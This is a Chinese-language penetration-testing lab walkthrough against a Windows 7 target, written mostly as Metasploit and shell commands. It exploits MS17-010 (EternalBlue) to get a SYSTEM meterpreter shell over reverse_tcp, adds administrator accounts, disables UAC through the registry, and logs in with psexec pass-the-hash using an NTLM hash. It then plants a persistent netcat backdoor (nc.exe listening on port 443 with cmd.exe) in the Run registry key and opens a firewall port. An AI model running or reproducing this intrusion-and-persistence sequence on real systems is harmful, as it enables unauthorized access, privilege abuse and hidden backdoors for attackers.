思路:
1.判断靶机是否存在ms17-010漏洞
2.攻击靶机获得shell
3.创建用户账号(知道原账号、密码则可省了,直接用原用户账号代替)
4.留后门
实验开始:
一:判断靶机是否存在ms17-010漏洞
sf5 > use exploit/windows/smb/ms17_010
二:攻击靶机获得shell
1.调用ns17-010永恒之蓝
2.设置payload
3.设置lhost、rhost等参数,跟情况而定。
4.run/exploit
设置exploit攻击模块、payload攻击载荷模块
sf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.72.131
lhost => 192.168.72.131
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.72.128
rhosts => 192.168.72.128
5 exploit(windows/smb/ms17_010_eternalblue) > run
得到以下结果,攻击成功
查看下此用户的权限
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
三、创建用户账号
到此靶机就攻击成功了。接下来可以创建用户账号了。创建账号有两种方式。
方式一:利用msf的post后渗透攻击模块,直接在meterpreter下创建,这种创建的账号直接就是administrators权限。
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456
方法二:通过shell进入靶机,在靶机里创建用户账号。
meterpreter > shell
C:\Windows\system32>net user test1 123456 /add
C:\Windows\system32>net localgroup administrators test1 /add
C:\Windows\system32>net user test1
通过创建用户,添加到administrators用户组,创建出来的用户账号也是administrators权限。
此时你就可以远程登录靶机,登录靶机的方式依然有两种。
第一种:远程桌面登录
root@kali:~# rdesktop 192.168.72.128
第二种:SAM值登录
SAM值登录要注意以下几点:
1.获取SAM密码
2.关闭windows的UAC
3.psexec模块连接登录
1.hashdump获取密码
2.关闭UAC
关闭UAC需要重启才生效
关闭UAC方式一:
链接:link
http://www.win7zhijia.cn/jiaocheng/win7_26850.html
关闭UAC方式二:
meterpreter > shell
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t
REG_DWORD /d 0 /f
参数说明
ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
3.psexec模块连接登录
msf5 exploit(windows/smb/webexec) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhost 192.168.72.131
lhost => 192.168.72.131
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.72.128
rhosts => 192.168.72.128
msf5 exploit(windows/smb/psexec) > set smbuser test
smbuser => test
msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
smbpass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf5 exploit(windows/smb/psexec) > set smbdomain workgroup
smbdomain => workgroup
msf5 exploit(windows/smb/psexec) > run
如果UAC没关此时就会出现Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode STATUS_ACCESS_DENIED的状况。
关闭UAC的后登录成功截图
至此远程登录靶机就成功了。
四、留后门
1.关闭UAC(以上已关闭)
2.开启win7主机默认共享,以便于远程执行命令。
3.上传瑞士军刀nc.exe到windows主机上。
4.将nc添加到开机启动项
5.开启windows443端口
6.重启,测试后门。
1.关闭UAC,以上步骤已做
2.开启win7主机默认共享
C:\Windows\system32> cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
3.上传nc.exe到windows中
注:kali中集成了nc.exe,默认在/usr/share/windows-binaries/nc.exe下。上传到system32是便于隐藏。如果win7是64位的,那么你上传到system32的文件回默认被转到syswow64文件夹中区。但这不影响。
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
4.将nc添加至启动项
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
5.开放win7 443端口
C:\Windows\system32> netsh firewall add portopening TCP 443 "xuegod443" ENABLE
6.重启win7并测试后门
强制重启
C:\Windows\system32>shutdown -r -f -t 0
测试后门
root@xuegod53:~# nc -v 192.168.72.128 443
能重新进入则后门留成功。